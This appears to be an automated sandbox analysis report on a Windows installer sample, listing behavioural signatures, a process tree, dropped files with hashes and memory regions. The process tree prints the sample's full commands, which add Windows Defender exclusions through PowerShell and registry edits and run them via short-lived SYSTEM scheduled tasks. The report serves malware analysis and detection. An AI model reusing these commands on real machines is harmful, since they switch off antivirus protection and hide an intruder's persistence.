Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/11/2026, 00:00

General

  • Target
    instdts.1.0.08.exe
  • Size 39.0MB
  • Sample261111-aam65scf89
  • SHA256 ac5640a2e3eed7ff54f516cc5d4d29c799daf1a396ad163e3c6ba0efb8c426f8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\instdts.1.0.08.exe
    "C:\Users\Admin\AppData\Local\Temp\instdts.1.0.08.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4324
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3876
    • C:\Users\Public\d14Gny\u3HHS3.exe
      "C:\Users\Public\d14Gny\u3HHS3.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4280
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\d14Gny\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5768
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\d14Gny\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1236
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4776
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2872
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            PID:4584
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2176
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1628
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2888
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                PID:4228
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3672
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5036
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5428
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    PID:3076
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5376
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:4708
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:5436
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:2672
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4792
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:1248
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:3660
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\d14Gny" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:5948
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\d14Gny" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:4508
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:1644
                            • C:\Users\Public\d14Gny\u3HHS3.exe
                              "C:\Users\Public\d14Gny\u3HHS3.exe"
                              1⤵
                                PID:4804
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:3696
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:3556
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:2568
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:5564
                                  • C:\Windows\system32\cmd.exe
                                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    1⤵
                                    • Executes a command shell one-liner
                                    PID:6108
                                    • C:\Windows\System32\reg.exe
                                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                      2⤵
                                        PID:1168

                                    Network

                                          MITRE ATT&CK Enterprise v16

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                          • Size 1KB
                                          • SHA256 f64a50306c1a3928389a6ca4a78fa046dc5768d6f8d3da808c93e0e9992051dc
                                          • MD5 SHA1 SHA512 TLSH

                                          B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                          • Size 1KB
                                          • SHA256 457b4352c7ec1ec99a95df6a9ae38dc45374af0b924d2eaa8677d078cb6779a5
                                          • MD5 SHA1 SHA512 TLSH

                                          0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                          • Size 512B
                                          • SHA256 307297ae999499fdc67ccb8b7c3717b1f52007f61e8e19038eaaaf3231b69722
                                          • MD5 SHA1 SHA512 TLSH

                                          B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                          • Size 506B
                                          • SHA256 8a964b9b038a4fb5573a1dfaadd2b7db52a81d62abf4cfba8a788d81e29462ec
                                          • MD5 SHA1 SHA512 TLSH

                                          __PSScriptPolicyTest_airrm13u.fgw.ps1

                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_airrm13u.fgw.ps1
                                          • Size 60B
                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                          • MD5 SHA1 SHA512 TLSH

                                          UxEnhance64.dll

                                          • Path C:\Users\Public\d14Gny\UxEnhance64.dll
                                          • Size 3.1MB
                                          • SHA256 2c326f4ff1498d7a02784cb252c67874da83ef11d99a409d346582f8d54f05be
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          adoresd.dat

                                          • Path C:\Users\Public\d14Gny\adoresd.dat
                                          • Size 4.8MB
                                          • SHA256 ed4d33523a4a81ec0f563ab57a7390ce47aeb596691fa09d9450483b01d21902
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          msadox.tb

                                          • Path C:\Users\Public\d14Gny\msadox.tb
                                          • Size 8KB
                                          • SHA256 b065fc8b9a004b620b4f548b61282aaea6f2ad42ac79b79fa464eec1eae5b7d8
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          u3HHS3.exe

                                          • Path C:\Users\Public\d14Gny\u3HHS3.exe
                                          • Size 135KB
                                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          memory/2072-565-0x00000175DE1B0000-0x00000175DE23A000-memory.dmp

                                          memory/2072-562-0x00000175DC9F0000-0x00000175DCA3E000-memory.dmp

                                          memory/2072-534-0x00007FFAAB6D0000-0x00007FFAAB6D2000-memory.dmp

                                          memory/2072-540-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-542-0x00007FFAAB6E0000-0x00007FFAAB6E2000-memory.dmp

                                          memory/2072-543-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-547-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-548-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-549-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-550-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-554-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-535-0x00007FFA88970000-0x00007FFA88E8E000-memory.dmp

                                          memory/2072-566-0x00000175DE1B0000-0x00000175DE23A000-memory.dmp

                                          memory/2072-563-0x00000175DE1B0000-0x00000175DE23A000-memory.dmp

                                          memory/2072-560-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-569-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-568-0x00000175DD420000-0x00000175DDCF7000-memory.dmp

                                          memory/2072-564-0x00000175DE1B0000-0x00000175DE23A000-memory.dmp

                                          memory/4280-617-0x0000026270A30000-0x0000026270A3A000-memory.dmp

                                          memory/4280-602-0x00000262709C0000-0x00000262709E2000-memory.dmp

                                          memory/4280-616-0x0000026270AF0000-0x0000026270BA2000-memory.dmp

                                          memory/4280-615-0x0000026270A10000-0x0000026270A2E000-memory.dmp

                                          memory/4324-527-0x00007FFA9C5F0000-0x00007FFA9C602000-memory.dmp

                                          memory/4324-1-0x0000000002010000-0x000000000201E000-memory.dmp

                                          memory/4324-0-0x0000000002010000-0x000000000201E000-memory.dmp

                                          memory/4324-526-0x0000000002010000-0x000000000201E000-memory.dmp

                                          memory/4324-504-0x00007FFA9C5F0000-0x00007FFA9C602000-memory.dmp

                                          memory/4324-2-0x0000000002060000-0x000000000206C000-memory.dmp

                                          memory/4804-595-0x00007FFAAB6D0000-0x00007FFAAB6D2000-memory.dmp

                                          memory/4804-580-0x00007FFA88970000-0x00007FFA88E8E000-memory.dmp

                                          memory/4804-593-0x00000284E44A0000-0x00000284E4D77000-memory.dmp

                                          memory/4804-592-0x00000284E44A0000-0x00000284E4D77000-memory.dmp

                                          memory/4804-591-0x00000284E44A0000-0x00000284E4D77000-memory.dmp

                                          memory/4804-594-0x00000284E44A0000-0x00000284E4D77000-memory.dmp

                                          memory/4804-587-0x00000284E44A0000-0x00000284E4D77000-memory.dmp

                                          memory/4804-586-0x00007FFAAB6E0000-0x00007FFAAB6E2000-memory.dmp

                                          memory/4804-583-0x00000284E44A0000-0x00000284E4D77000-memory.dmp